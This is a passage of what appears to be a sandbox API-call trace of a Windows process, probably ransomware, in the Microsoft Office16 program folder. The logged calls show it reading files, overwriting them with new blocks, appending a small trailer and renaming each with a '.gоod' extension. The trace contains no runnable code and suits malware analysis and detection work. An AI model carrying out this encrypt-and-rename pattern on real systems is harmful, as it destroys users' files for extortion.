ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5277b31, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x117868, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISWEB.DLL", cAlternateFileName="")) returned 1 [0130.350] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1754c10, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe1ba7093, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe1bcd2cf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x71060, dwReserved0=0x0, dwReserved1=0x0, cFileName="VPREVIEW.EXE", cAlternateFileName="")) returned 1 [0130.350] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x245644bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x87b450, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWDWG.DLL", cAlternateFileName="")) returned 1 [0130.350] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2392c2f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd06450, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWER.DLL", cAlternateFileName="")) returned 1 [0130.350] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2392c2f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc0e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="WEBSANDBOX.DLL", cAlternateFileName="WEBSAN~1.DLL")) returned 1 [0130.350] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd5c75d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcdd5c75d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcdd5c75d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17c68, dwReserved0=0x0, dwReserved1=0x0, cFileName="Win32MsgQueue.dll", cAlternateFileName="WIN32M~1.DLL")) returned 1 [0130.350] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2392c2f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x680c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="windowsspeakerrecosdk.dll", cAlternateFileName="WINDOW~1.DLL")) returned 1 [0130.351] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3abf78f6, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b50e439, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x1cf6848, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ.EXE", cAlternateFileName="")) returned 1 [0130.351] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3ac69d72, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3ac69d72, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b154d75, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0xf7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="winproj.exe.manifest", cAlternateFileName="WINPRO~1.MAN")) returned 1 [0130.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0130.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0130.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0130.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0130.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0130.354] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE", lpFilePart=0x0) returned 0x3c [0130.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0130.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0130.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0130.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0130.356] CloseHandle (hObject=0x644) returned 1 [0130.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0130.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0130.358] CloseHandle (hObject=0x644) returned 1 [0130.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0130.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0130.537] CloseHandle (hObject=0x644) returned 1 [0130.537] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE", lpFilePart=0x0) returned 0x3c [0130.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0130.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accicons.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0130.538] GetFileType (hFile=0x644) returned 0x1 [0130.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0130.538] GetFileType (hFile=0x644) returned 0x1 [0130.538] WriteFile (in: hFile=0x644, lpBuffer=0x352a958*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x352a958*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0130.538] CloseHandle (hObject=0x644) returned 1 [0130.538] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE", lpFilePart=0x0) returned 0x3c [0130.538] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE.gоod", lpFilePart=0x0) returned 0x41 [0130.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0130.538] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accicons.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4a0413f8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x393a50)) returned 1 [0130.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0130.538] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accicons.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accicons.exe.gоod")) returned 1 [0130.540] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppSharingHookController64.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppSharingHookController64.exe", lpFilePart=0x0) returned 0x4e [0130.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0130.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppSharingHookController64.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\appsharinghookcontroller64.exe"), fInfoLevelId=0x0, lpFileInformation=0x3532328 | out: lpFileInformation=0x3532328*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf77004f0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa048)) returned 1 [0130.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0130.541] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppSharingHookController64.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppSharingHookController64.exe", lpFilePart=0x0) returned 0x4e [0130.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0130.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppSharingHookController64.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\appsharinghookcontroller64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0130.541] GetFileType (hFile=0x644) returned 0x1 [0130.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0130.541] GetFileType (hFile=0x644) returned 0x1 [0130.541] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0130.541] ReadFile (in: hFile=0x644, lpBuffer=0x35327a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x35327a0*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0130.543] CloseHandle (hObject=0x644) returned 1 [0130.543] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppSharingHookController64.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppSharingHookController64.exe", lpFilePart=0x0) returned 0x4e [0130.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0130.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppSharingHookController64.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\appsharinghookcontroller64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0130.543] GetFileType (hFile=0x644) returned 0x1 [0130.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0130.543] GetFileType (hFile=0x644) returned 0x1 [0130.543] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0xa048 [0130.543] WriteFile (in: hFile=0x644, lpBuffer=0x3534ad8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3534ad8*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0130.544] CloseHandle (hObject=0x644) returned 1 [0130.544] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppSharingHookController64.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppSharingHookController64.exe", lpFilePart=0x0) returned 0x4e [0130.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0130.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppSharingHookController64.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\appsharinghookcontroller64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0130.544] GetFileType (hFile=0x644) returned 0x1 [0130.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0130.544] GetFileType (hFile=0x644) returned 0x1 [0130.544] ReadFile (in: hFile=0x644, lpBuffer=0x35379e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x35379e8*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0131.595] CloseHandle (hObject=0x644) returned 1 [0131.595] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppSharingHookController64.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppSharingHookController64.exe", lpFilePart=0x0) returned 0x4e [0131.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0131.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppSharingHookController64.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\appsharinghookcontroller64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0131.596] GetFileType (hFile=0x644) returned 0x1 [0131.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0131.596] GetFileType (hFile=0x644) returned 0x1 [0131.596] WriteFile (in: hFile=0x644, lpBuffer=0x34bd320*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x34bd320*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0131.596] CloseHandle (hObject=0x644) returned 1 [0131.596] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppSharingHookController64.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppSharingHookController64.exe", lpFilePart=0x0) returned 0x4e [0131.596] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppSharingHookController64.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppSharingHookController64.exe.gоod", lpFilePart=0x0) returned 0x53 [0131.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0131.596] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppSharingHookController64.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\appsharinghookcontroller64.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4aa633ee, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa058)) returned 1 [0131.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0131.596] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppSharingHookController64.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\appsharinghookcontroller64.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppSharingHookController64.exe.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\appsharinghookcontroller64.exe.gоod")) returned 1 [0131.597] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadata.xsd", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadata.xsd", lpFilePart=0x0) returned 0x3f [0131.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0131.597] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadata.xsd" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bdcmetadata.xsd"), fInfoLevelId=0x0, lpFileInformation=0x37613e0 | out: lpFileInformation=0x37613e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x176dc2d0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x66bc)) returned 1 [0131.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0131.598] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadata.xsd", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadata.xsd", lpFilePart=0x0) returned 0x3f [0131.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0131.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadata.xsd" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bdcmetadata.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0131.598] GetFileType (hFile=0x644) returned 0x1 [0131.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0131.598] GetFileType (hFile=0x644) returned 0x1 [0131.598] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0131.598] ReadFile (in: hFile=0x644, lpBuffer=0x37617d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x37617d8*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0131.599] CloseHandle (hObject=0x644) returned 1 [0131.599] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadata.xsd", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadata.xsd", lpFilePart=0x0) returned 0x3f [0131.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0131.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadata.xsd" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bdcmetadata.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0131.600] GetFileType (hFile=0x644) returned 0x1 [0131.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0131.600] GetFileType (hFile=0x644) returned 0x1 [0131.600] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x66bc [0131.600] WriteFile (in: hFile=0x644, lpBuffer=0x3762de0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3762de0*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0131.601] CloseHandle (hObject=0x644) returned 1 [0131.601] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadata.xsd", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadata.xsd", lpFilePart=0x0) returned 0x3f [0131.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0131.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadata.xsd" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bdcmetadata.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0131.601] GetFileType (hFile=0x644) returned 0x1 [0131.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0131.601] GetFileType (hFile=0x644) returned 0x1 [0131.601] ReadFile (in: hFile=0x644, lpBuffer=0x37650f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x37650f8*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0132.260] CloseHandle (hObject=0x644) returned 1 [0132.260] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadata.xsd", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadata.xsd", lpFilePart=0x0) returned 0x3f [0132.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0132.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadata.xsd" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bdcmetadata.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0132.260] GetFileType (hFile=0x644) returned 0x1 [0132.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0132.260] GetFileType (hFile=0x644) returned 0x1 [0132.260] WriteFile (in: hFile=0x644, lpBuffer=0x3604fd0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x3604fd0*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0132.260] CloseHandle (hObject=0x644) returned 1 [0132.260] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadata.xsd", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadata.xsd", lpFilePart=0x0) returned 0x3f [0132.260] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadata.xsd.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadata.xsd.gоod", lpFilePart=0x0) returned 0x44 [0132.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0132.261] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadata.xsd" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bdcmetadata.xsd"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4b0cbac1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x66cc)) returned 1 [0132.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0132.261] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadata.xsd" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bdcmetadata.xsd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadata.xsd.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bdcmetadata.xsd.gоod")) returned 1 [0132.261] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadataresource.xsd", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadataresource.xsd", lpFilePart=0x0) returned 0x47 [0132.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0132.261] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadataresource.xsd" (normalized: "c:\\program files\\microsoft 